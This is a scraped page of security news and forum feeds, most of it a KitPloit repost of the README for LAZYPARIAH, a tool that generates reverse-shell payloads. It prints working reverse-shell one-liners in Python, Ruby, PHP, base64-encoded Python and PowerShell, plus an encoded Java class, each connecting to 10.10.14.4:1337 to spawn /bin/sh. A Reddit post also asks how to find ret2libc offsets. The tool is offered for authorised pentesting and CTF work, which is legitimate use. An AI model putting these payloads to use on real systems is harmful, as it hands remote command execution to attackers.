What is HTTP Header Injection?Continue reading on CodeX » (https://medium.com/codex/http-header-injection-4ba857fb9a16?source=rss------bug_bounty-5)

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Dark Reading: Attacks/Breaches
Biden Requests Nearly $11B for Federal Cybersecurity Spending

The administration's 2023 IT budget for civilian agencies includes $500 million more for CISA.

Dark Reading: Attacks/Breaches
CriticalStart Releases Enhanced Capabilities for Microsoft 365 Defender

Latest enhancements allow customers to leverage Microsoft 365 Defender and MDR to respond to breaches stemming from user account-based attacks.

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Swappi Testnet publica y recompensas por errores

Prueba Swappi y gana recompensas. ¡Hasta 100.000 $PPI de recompensa!Continue reading on Conflux en español »
Read more...

LAZYPARIAH - A Tool For Generating Reverse Shell Payloads On The Fly
http://www.kitploit.com/2022/03/lazypariah-tool-for-generating-reverse.html

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A low-dependency command-line tool for generating reverse shell payloads on the fly. Description LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly. The reverse shell payloads that LAZYPARIAH supports include (but are not limited to): C binary payloads (compiled on the fly): c_binary Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c Powershell payloads: powershell_c, powershell_b64 Base64-encoded Python payloads: python_b64 Rust binary payloads (compiled on the fly): rust_binary PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64 Java classes (compiled on the fly): java_class Perl payloads: perl, perl_b64, perl_hex, perl_c Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags
Warning This tool is intended to be used only in authorised circumstances by qualified penetration testers, security researchers and red team professionals. Before downloading, installing or using this tool, ensure that you understand the relevant laws in your jurisdiction. The author of this tool does not endorse, encourage or condone the use of this tool for illegal or unauthorised purposes. Dependencies Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby) OpenJDK (Optional: Only required for java_class payloads.) GCC (Optional: Only required for c_binary payloads.) Rust (Optional: Only required for rust_binary payloads.) Installation LAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows: gem install lazypariah
Usage Note: may be an IPv4 address, IPv6 address or hostname. Example: lazypariah -u python_b64 10.10.14.4 1555 Example: lazypariah python_c malicious.local 1337 Valid Payloads: awk bash_tcp c_binary java_class nc nc_openbsd nc_pipe nodejs nodejs_b64 nodejs_c nodejs_hex perl perl_b64 perl_c perl_hex php_fd php_fd_c php_fd_tags php_system_python_b64 php_system_python_hex php_system_python_ipv6_b64 php_system_python_ipv6_hex powershell_b64 powershell_c python python_b64 python_c python_hex python_ipv6 python_ipv6_b64 python_ipv6_c python_ipv6_hex ruby ruby_b64 ruby_c ruby_hex rust_binary socat Valid Options: -h, --help Display help text and exit. -l, --license Display license information and exit. -u, --url URL-encode the payload. -v, --version Display version information and exit. -D, --fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads. -P, --pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified. -N, --no-new-line Do not append a new-line character to the end of the payload. --b64 Encode a c_binary, rust_binary or java_class payload in base-64. --hex Encode a c_binary, rust_binary or java_class payload in hexadecimal. --gzip Compress a c_binary, rust_binary or java_class payload using zlib. --gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64. --gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.">Usage: lazypariah [OPTIONS]
Note: may be an IPv4 address, IPv6 address or hostname.

Example: lazypariah -u python_b64 10.10.14.4 1555

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--b64 Encode a c_binary, rust_binary or java_class payload in base-64.
-- hex Encode a c_binary, rust_binary or java_class payload in hexadecimal.
--gzip Compress a c_binary, rust_binary or java_class payload using zlib.
--gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
--gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
Further Notes and Examples The payloads listed above are more-or-less systematically named. Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e). For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby). For example, the command lazypariah python_b64 10.10.14.4 1337 should produce the following output: echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
The exception to this is powershell_b64, which uses Powershell's inbuilt base64 decoder. The command lazypariah powershell_b64 10.10.14.4 1337, for instance, should return the following: powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAA JwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

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Compiled payloads (c_binary, java_class and rust_binary) have optional command-line arguments for zlib compression (--gzip), base64-encoding (--b64) and hexadecimal-encoding (--hex). For example, the command lazypariah --b64 java_class 10.10.14.4 1337 should produce the following output: yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cm VhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAGFenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
It is also possible to perform zlib compression on one of the aforementioned compiled payloads before encoding (https://www.kitploit.com/search/label/Encoding) it in either base64 or hexadecimal (https://www.kitploit.com/search/label/Hexadecimal) using the --gzip_b64 and --gzip_hex command-line arguments respectively. For example, the command lazypariah --gzip_hex java_class 10.10.14.4 1337 should produce the following output: 1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a 31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000

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Some payloads require the user to specify the file descriptor used by the target for TCP connections. One example of such a payload is php_fd_tags, which is a simple PHP payload enclosed within PHP tags () that targets a specific file descriptor. To specify a target file descriptor, the user must use the command line (https://www.kitploit.com/search/label/Command%20Line) argument -D INTEGER or --fd INTEGER. For example, to generate a php_fd_tags payload that targets file descriptor 5, the following command can be used: lazypariah -D 5 php_fd_tags 10.10.14.4 1337 The resulting payload should be as follows: &5 2>&5");?> Below are some examples of commands and their respective outputs. Output of command lazypariah -P 3 -u python_b64 10.10.14.4 1337: echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
Output of command lazypariah -P 2 python_c 10.10.14.4 1337: python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Output of command lazypariah -D 3 php_fd_tags 10.10.14.4 1337: &3 2>&3");?>
Output of command lazypariah ruby 10.10.14.4 1337: require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
Author Copyright (C) 2020-2021 Peter Bruce Funnell License This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed (https://www.kitploit.com/search/label/Distributed) in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/ Support If you found this project useful and would like to encourage me to continue making open source software, please consider making a donation via the following link: https://www.buymeacoffee.com/peterfunnell Donations in Bitcoin (BTC) are also very welcome. My BTC wallet address is as follows: 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g


Download LAZYPARIAH (https://github.com/octetsplicer/LAZYPARIAH)

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Swappi Testnet publica y recompensas por errores
https://medium.com/conflux-en-espa%C3%B1ol/swappi-testnet-publica-y-y-recompensas-por-errores-5ace4f588555?source=rss------bug_bounty-5

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Prueba Swappi y gana recompensas. ¡Hasta 100.000 $PPI de recompensa!Continue reading on Conflux en español » (https://medium.com/conflux-en-espa%C3%B1ol/swappi-testnet-publica-y-y-recompensas-por-errores-5ace4f588555?source=rss------bug_bounty-5)

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Hacking on Medium
Google emite una actualización urgente de Chrome para parchear la vulnerabilidad de día cero…

https://cdn-images-1.medium.com/max/1600/0*8YftBvm-UK4hJaUX
PUBLICADO EN 29 MARZO, 2022POR EHACKING

Continue reading on Medium »

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KitPloit - PenTest Tools!
LAZYPARIAH - A Tool For Generating Reverse Shell Payloads On The Fly

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hacking: security in practice
My favorite password cracking wordlists reprise

https://external-preview.redd.it/vuMlHp0AIsM_Ca5d7vo9xv7CzlxBfjHfNLncYNLbIrE.jpg?width=108&crop=smart&auto=webp&s=6baff6d5e808b9f6457c5c69616c1ba69c610f22 submitted by /u/oxagast
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hacking: security in practice
How do I find offsets for ret2libc when ASLR (32bit) is turned on?

Hey everyone, I'm trying to implement a ret2libc attack this time but with ASLR on a 32-bit machine. The 32-bit machine part makes it easier.

From my understanding of the attack, we need to fix a base address and try multiple times until the address is correct. And it won't take many attempts because there isn't much randomization on a 32-bit machine.

So when I run ldd ./vuln | grep libcthe output is as follows:-

$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d26000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7db9000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d3e000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d08000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7ddf000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d42000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7d21000)`
$ ldd ./vuln | grep libc
`libc.so.6 => /lib32/libc.so.6 (0xf7dc7000)`
So it's pretty clear that only the 2 bits after 'f7d' are changing. So I can pick one address and try multiple times. How do I find the offsets for the system function and the '/bin/sh' argument for a particular base address?

I found this link exploiting an almost similar vulnerability, but the author didn't explain how to get the offsets.

Still, for the system function I tried readelf -s /lib32/libc.so.6 | grep systemand got the output:-

255: 001271a0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0

654: 0003cf10 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE

1513: 0003cf10 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

So, is 0x0003cf10 my offset? And I still I have to find '/bin/sh' which I have no clue about. If you have any links to any helpful writeups please share

submitted by /u/reddotname
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hacking: security in practice
where do stock brokers (such as robinhood, tdameritrade, etc) get their pricing data from?

So I've read of some cryptocurrency exchanges having their pricing oracles hacked, allowing someone to buy a cryptocurrency at a lower price or sell at a higher price than the reality is.

I've wondered, why hasn't that happened in the regular stock market?

submitted by /u/Panzercannon03
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